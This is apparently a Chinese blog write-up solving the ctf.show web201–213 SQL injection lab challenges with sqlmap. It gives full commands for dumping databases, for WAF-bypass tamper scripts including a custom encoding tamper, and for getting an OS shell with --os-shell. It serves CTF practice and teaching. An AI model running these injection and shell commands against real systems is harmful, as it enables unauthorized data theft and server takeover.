sqlmap使用手册

web201:

hint:

python sqlmap.py -u http://08c97a95-dcb0-4ea3-8a44-65eeaabc0085.challenge.ctf.show/api/?id=1 --referer http://1873c128-66d1-40c8-ad64-ce073560ced7.challenge.ctf.show/sqlmap.php

这里好像不用 --random-agent

爆表名 --current-db --tables

python sqlmap.py -u http://08c97a95-dcb0-4ea3-8a44-65eeaabc0085.challenge.ctf.show/api/?id=1 --referer http://1873c128-66d1-40c8-ad64-ce073560ced7.challenge.ctf.show/sqlmap.php --current-db --tables

爆字段:-T :指定表;—columns :查看所有的字段;-C :指定字段

python sqlmap.py -u http://08c97a95-dcb0-4ea3-8a44-65eeaabc0085.challenge.ctf.show/api/?id=1 --referer http://1873c128-66d1-40c8-ad64-ce073560ced7.challenge.ctf.show/sqlmap.php --current-db --tables -T ctfshow_user --columns

爆字段内容:—dump :查看数据

python sqlmap.py -u http://08c97a95-dcb0-4ea3-8a44-65eeaabc0085.challenge.ctf.show/api/?id=1 --referer http://1873c128-66d1-40c8-ad64-ce073560ced7.challenge.ctf.show/sqlmap.php --current-db --tables -T ctfshow_user --columns --dump

得到flag

web202:

hint:使用--data 调整sqlmap的请求方式

—data:指定扫描的参数,get/post都适用

python sqlmap.py -u http://532248f5-c35e-4ed7-96c4-63608d42df8b.challenge.ctf.show/api/?id=1 --referer http://532248f5-c35e-4ed7-96c4-63608d42df8b.challenge.ctf.show/sqlmap.php --data="id=1"
--current-db --tables -T ctfshow_user --columns --dump

东西都和上一题一样。

web203:

hint:使用--method 调整sqlmap的请求方式

method=get;post;put;delete。

–method 指定 put 请求方式,url 要带 index.php,还要加上 --headers=“Content-Type: text/plain” 便于 put 接收表单参数。

 python sqlmap.py -u http://484e0ae4-c5ad-4245-a632-7d4d1324088b.challenge.ctf.show/api/index.php --method=PUT --headers=“Content-Type: text/plain”  --data="id=1" --referer http://484e0ae4-c5ad-4245-a632-7d4d1324088b.challenge.ctf.show/sqlmap.php --current-db --tables -T ctfshow_user --columns -dump

web204:

hint:使用--cookie 提交cookie数据

 python sqlmap.py -u http://80f6f154-8c9f-40a8-8853-f60691aab8f0.challenge.ctf.show/api/index.php --method=PUT --headers=“Content-Type: text/plain”  --data="id=1" --referer http://80f6f154-8c9f-40a8-8853-f60691aab8f0.challenge.ctf.show/sqlmap.php --current-db --tables -T ctfshow_user --columns -dump --cookie="PHPSESSID=; ctfshow="

web205:

hint:api调用需要鉴权

—safe-url:检测盲注阶段时,sqlmap会发送大量失败请求,可能导致服务器端销毁session

—safe-freq :每发送多少次注入请求后,发送一次正常请求,配合—safe-url使用

 python sqlmap.py -u http://479104e9-e982-4dc8-be3c-b5e3e73c91e0.challenge.ctf.show/api/index.php --method=PUT --headers=“Content-Type: text/plain”  --data="id=1" --referer http://479104e9-e982-4dc8-be3c-b5e3e73c91e0.challenge.ctf.show/sqlmap.php --safe-url http://479104e9-e982-4dc8-be3c-b5e3e73c91e0.challenge.ctf.show/api/getToken.php --safe-freq=1 --current-db --tables -T ctfshow_flax --columns -C flagx --dump

web206:

hint:sql需要闭合()

这题和上题一样,表名和字段名字不太一样。

 python sqlmap.py -u http://e7f8b6bf-cd9f-4d2e-a045-e777cc9ba807.challenge.ctf.show/api/index.php --method=PUT --headers=“Content-Type: text/plain”  --data="id=1" --referer http://e7f8b6bf-cd9f-4d2e-a045-e777cc9ba807.challenge.ctf.show/sqlmap.php --safe-url http://e7f8b6bf-cd9f-4d2e-a045-e777cc9ba807.challenge.ctf.show/api/getToken.php --safe-freq=1 --current-db --tables -T ctfshow_flaxc --columns --dump

web207:

tamper使用

过滤了空格--tamper=space2comment

常见的tamper

space2comment.py用/**/代替空格apostrophemask.py用utf8代替引号equaltolike.pylike代替等号space2dash.py 绕过过滤‘=’ 替换空格字符(”),(’–‘)后跟一个破折号注释,一个随机字符串和一个新行(’n’)greatest.py 绕过过滤’>’ ,用GREATEST替换大于号。space2hash.py空格替换为#号,随机字符串以及换行符apostrophenullencode.py绕过过滤双引号,替换字符和双引号。halfversionedmorekeywords.py当数据库为mysql时绕过防火墙,每个关键字之前添加mysql版本评论space2morehash.py空格替换为 #号 以及更多随机字符串 换行符appendnullbyte.py在有效负荷结束位置加载零字节字符编码ifnull2ifisnull.py 绕过对IFNULL过滤,替换类似’IFNULL(A,B)’为’IF(ISNULL(A), B, A)’space2mssqlblank.py(mssql)空格替换为其它空符号base64encode.py 用base64编码替换space2mssqlhash.py 替换空格modsecurityversioned.py过滤空格,包含完整的查询版本注释space2mysqlblank.py 空格替换其它空白符号(mysql)between.py用between替换大于号(>)space2mysqldash.py替换空格字符(”)(’ – ‘)后跟一个破折号注释一个新行(’ n’)multiplespaces.py围绕SQL关键字添加多个空格space2plus.py用+替换空格bluecoat.py代替空格字符后与一个有效的随机空白字符的SQL语句,然后替换=为likenonrecursivereplacement.py双重查询语句,取代SQL关键字space2randomblank.py代替空格字符(“”)从一个随机的空白字符可选字符的有效集sp_password.py追加sp_password’从DBMS日志的自动模糊处理的有效载荷的末尾chardoubleencode.py双url编码(不处理以编码的)unionalltounion.py替换UNION ALLSELECT UNION SELECTcharencode.py url编码randomcase.py随机大小写unmagicquotes.py宽字符绕过 GPCaddslashesrandomcomments.py用/**/分割sql关键字charunicodeencode.py字符串 unicode 编码securesphere.py追加特制的字符串versionedmorekeywords.py注释绕过space2comment.py替换空格字符串(‘‘) 使用注释‘/**/’halfversionedmorekeywords.py关键字前加注释
 python sqlmap.py -u http://26b857e9-b77a-4fee-8e7d-2522e1a340e5.challenge.ctf.show/api/index.php --method=PUT --headers=“Content-Type: text/plain”  --data="id=1" --referer http://26b857e9-b77a-4fee-8e7d-2522e1a340e5.challenge.ctf.show/sqlmap.php --safe-url http://26b857e9-b77a-4fee-8e7d-2522e1a340e5.challenge.ctf.show/api/getToken.php --safe-freq=1 --current-db --tables -T ctfshow_flaxca --columns --dump --tamper=space2comment

web208:

和上题一样,表名不一样

 python sqlmap.py -u http://d554b5b6-792d-4155-aa01-677d99496525.challenge.ctf.show/api/index.php --method=PUT --headers=“Content-Type: text/plain”  --data="id=1" --referer http://d554b5b6-792d-4155-aa01-677d99496525.challenge.ctf.show/sqlmap.php --safe-url http://d554b5b6-792d-4155-aa01-677d99496525.challenge.ctf.show/api/getToken.php --safe-freq=1 --current-db --tables -T ctfshow_flaxcac --columns --dump --tamper=space2comment

web209,只能喵喵喵

web210

hint:

 function decode($id){return strrev(base64_decode(strrev(base64_decode($id))));}

strrev:php的反转字符串函数

Python字符串反转函数的基本用法是使用内置函数reversed()

a='abcd'
print("".join(reversed(a)))输出:dcba

payload

b64encode("".join(reversed(b64encode("".join(reversed(retVal)).encode('utf-8')).decode('utf-8'))).encode('utf-8')).decode('utf-8')
python sqlmap.py -u http://ad5d645a-a820-4c78-b584-d8cd265593f4.challenge.ctf.show/api/index.php --method=PUT  --headers=“Content-Type: text/plain” --data="id=1" --referer http://ad5d645a-a820-4c78-b584-d8cd265593f4.challenge.ctf.show/sqlmap.php --safe-url="http://ad5d645a-a820-4c78-b584-d8cd265593f4.challenge.ctf.show/api/getToken.php" --safe-freq=1 --current-db --tables -T ctfshow_flavi --columns --dump --tamper=mytamper

web211

hint:

//对查询字符进行解密function decode($id){return strrev(base64_decode(strrev(base64_decode($id))));}
function waf($str){return preg_match('/ /', $str);
}
python sqlmap.py -u http://8c10214f-10a3-401a-87af-4732812c0cb2.challenge.ctf.show/api/index.php --method=PUT  --headers=“Content-Type: text/plain” --data="id=1" --referer http://8c10214f-10a3-401a-87af-4732812c0cb2.challenge.ctf.show/sqlmap.php --safe-url="http://8c10214f-10a3-401a-87af-4732812c0cb2.challenge.ctf.show/api/getToken.php" --safe-freq=1 --current-db --tables -T ctfshow_flavia --columns --dump --tamper="mytamper,space2comment.py"

web212

hint:

//对查询字符进行解密function decode($id){return strrev(base64_decode(strrev(base64_decode($id))));}
function waf($str){return preg_match('/ |\*/', $str);
}

payload(PS不知道为什么用两个脚本就不行)

retVal = retVal.replace(' ',chr(9))

web213:

hint:练习使用--os-shell 一键getshell

--batch 全部都选yes

python sqlmap.py -u http://02782ab8-9bd1-4603-b46e-032fb3c00d3c.challenge.ctf.show/api/index.php --method=PUT --headers=“Content-Type: text/plain” --data="id=1" --referer http://02782ab8-9bd1-4603-b46e-032fb3c00d3c.challenge.ctf.show/sqlmap.php --safe-url="http://02782ab8-9bd1-4603-b46e-032fb3c00d3c.challenge.ctf.show/api/getToken.php" --safe-freq=1 --batch --tamper=mytamper --os-shell

web201~213学习使用sqlmap相关推荐

  1. 《Web安全攻防 渗透测试实战指南》学习笔记(2) - Sqlmap

    如有侵权,请联系删除 Linux下安装 sudo apt install sqlmap 基本使用 sqlmap -u "www.baidu.com" 注意给网址加上双引号(虽然只传 ...

  2. JAVA教材(推荐新手学习)

    内容很全面的一本JAVA教材,从J2SE到J2EE,由浅入深地讲解,非常适合新手入门 目录 第一章:Java开始 1 学习目标 1 Java历史 2 Java技术概述 3 Java技术的优点 3 Ja ...

  3. Kali [Sqlmap]

    Sqlmap工具使用 sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL进行SQL注入.目前支持的数据库有MySql.Oracle.Access.PostageSQL. ...

  4. 我的web安全工程师学习之路——规划篇

    目前正在学习腾讯推出的web安全工程师微专业课程,为了记录学习,所以规划了下学习路线,也希望给同样想成为web安全工程师的朋友们一些参考.大家共同学习进步 web安全工程师职位描述与要求: 第一阶段: ...

  5. 自动化注入工具SQLmap入侵数据库的使用方法(注入攻击)

    sqlmap简介 sqlmap支持五种不同的注入模式: 1.基于布尔的盲注,即可以根据返回页面判断条件真假的注入. 2.基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是 ...

  6. CTFshow sql注入 上篇(web171-220)

    目录 前言 题目 web 171(万能密码) web 172(回显内容过滤,base64或者hex编码绕过) web 173(回显内容过滤,base64或者hex编码绕过) web 174 (布尔盲注 ...

  7. 测试软件测试赢在测试2:中国软件测试专家访谈录

    新手发帖,很多方面都是刚入门,有错误的地方请大家见谅,欢迎批评指正 赢在测试2:中国软件测试专家访谈录(品专家脚印悟测试真理本书已在台湾发行) 蔡为东著 ISBN 978-7-121-20066-3 ...

  8. 网络安全-靶机dvwa之sql注入Low到High详解(含代码分析)

    目录 SQL Injection-LOW Union注入 注入点判断 字段判断 获取数据库名 获取表名 获取列名 获取数据 Error注入 获取表名 获取列名 获取数据 源码解析 主要步骤 漏洞原因 ...

  9. 赢在测试2:中国软件测试专家访谈录

    赢在测试2:中国软件测试专家访谈录(品专家足迹 悟测试真谛 本书已在台湾发行) 蔡为东 著 ISBN 978-7-121-20066-3 2013年5月出版 定价:59.00元 280页 16开 编辑 ...

最新文章

  1. [零基础学JAVA]Java SE应用部分-27.Java IO操作(01)
  2. 马斯克的脑机接口能如愿以偿吗?
  3. 运营商助力新型智慧城市建设
  4. 操作系统内核(linux)
  5. 自学架构设计的一个好方法
  6. Win2008 R2 IIS FTP防火墙的配置
  7. python运算学习之Numpy ------ 数组操作:连接数组、拆分数组 、广播机制、结构化数组、文件贮存与读写、np.where、数组去重...
  8. CSS魔法堂:hasLayout原来是这样!
  9. Linux C socket 编程之UDP
  10. pandas CSV读取编码问题记录
  11. linux mysql5.7.12安装图解_centos 安装 mysql-5.7.23-linux-glibc2.12-x86_64.tar.gz 详细步骤
  12. 数字化智慧工地,工地智能监管一体化解决方案
  13. 第一次C程序设计作业
  14. kinetis FTM 分析笔记
  15. 术语-MOSS-微软协作工具:MOSS(微软协作工具)
  16. 微信号名称乱码什么情况_微信号注册为什么要辅助验证?
  17. 查看手机的mac地址
  18. Google封杀赛门铁克Root证书
  19. STM32——stm32 I2C通信代码配置(2)(学习笔记)
  20. c属于什么语言,C语言属于什么语言

热门文章

  1. 利用互亿接口实现发送验证码
  2. CDMA模块常用AT命令如下
  3. 2天,利用下班后的4小时开发一个测试工具
  4. 数值最优化—优化问题的解(二)
  5. “被拖欠工资,劳动仲裁?”看贴后感之另一案例
  6. 埃隆·马斯克改写人类航天史!当今科技界第一狂人的巅峰之路
  7. java球球大作战_java实现简单窗体小游戏----球球大作战
  8. Krypton Factor UVA - 129
  9. 油井工况数据远传计量管理系统
  10. [ Linux ] 如何查看内核 Kernel 版本(查多个Kernel的方法)